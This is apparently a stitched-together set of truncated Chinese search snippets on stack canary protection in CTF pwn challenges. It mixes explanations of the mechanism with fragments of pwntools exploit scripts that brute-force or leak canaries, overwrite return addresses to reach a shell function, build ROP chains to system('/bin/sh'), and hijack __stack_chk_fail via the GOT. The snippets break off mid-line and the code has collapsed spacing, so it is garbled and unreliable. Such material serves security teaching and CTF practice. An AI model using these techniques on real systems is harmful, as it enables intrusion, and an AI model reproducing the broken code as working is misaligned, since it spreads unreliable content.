一、Canary保护机制 简单来说,就是在ebp的前面放一个值,这个值被称为金丝雀值,函数开始执行的时候,会先往栈里面插入这个值,当函数真正返回时会先验证这个值,如果这个值与原来的不对,那么就会停止函数的运行 gcc -fno-stack-protector -o test test.c //禁用栈保护 gcc -fstack-protector -o test test.c /...
from pwnimport*context.terminal=["tmux","splitw","-h"]context.log_level='debug'sh=process("./blasting_canary")elf=ELF("./blasting_canary")sh.recvuntil('welcome\n')canary='\x00'forkinrange(3):foriinrange(256): print"--- No."+str(k)+":"+chr(i)+" ---" sh.send('a...
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa# 这里减去0xa是为了减去上面的换行符,得到真正的 Canarylog.info("Canary:"+hex(Canary))# Bypass Canarypayload =b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell)# 使用getshell的函数地址覆盖原来的返回地址io.send(payload) io.rec...
并且绕过了常见canary的检测(总共三个canary,一个usr_canary,一个sys_canary,一个平常见到的那种canary) 在cleanup函数中发现调用了std::unique_ptr<BOFApp>::~unique_ptr()这个析构函数,跟进这个函数发现他内部调用了这么一个函数 显然,如果我们能控制a2的值,就可以控制执行流了。 所以我们再往回看,发现a2的值...
PWN:Stein:Gate 套路操作 开了canary,是64位的RELRO开是开了不过这题目里面没影响,据说是got表不能再更改了,不清楚会咋样,下次碰到题目再说 ida看看 进sub_400AF1看到,他的unk_602040在bss上,正好,里面有system函数,把/bin/sh写到bss里面,然后调用system 看到rdi了,那个就是用来给system传参数 一个一个函数看...
Canary是为了避免程序缓冲区溢出的一个保护机制,他会在堆栈中插入一个值,当函数返回时,程序会检查值是否被更改,用来确定程序是否发生了缓冲区溢出 查看程序源代码 AI检测代码解析 #include <stdio.h> #include <string.h> void hacked() { //自定义hacked模块 ...
可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过stack_check_fail()这个函数对栈进行检测。 exp 如下: frompwnimport* context(os='linux', ...
利用命令ROPgadget --binary pwn4_canary --only "pop|rdi|ret"可以找到如下结果,我们选择0x400963 这里还缺/bin/sh,利用ROPgadget --binary pwn4_canary --string "/bin/sh"可以找到如下结果,所以利用0x601068 最终构造的payload如下 完整wp如下: from pwn import * p = process("./pwn4_canary") ...
已知Canary 失败的处理逻辑会进入到 __stack_chk_fail 函数,__stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。 参见ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用 参考链接: ...
本期视频主要介绍了栈溢出保护机制Contiguous和PIE保护机制,以及如何通过栈溢出攻击和格式化字符串漏洞来绕过这些保护。Contiguous保护机制通过在栈上插入类似cookie的信息来检测栈溢出,而PIE保护机制则是通过地址随机化来增加攻击难度。视频中详细讲解了如何利用格式化字符串漏洞泄露内存中的字符串,以及如何通过GDB调试来获取函...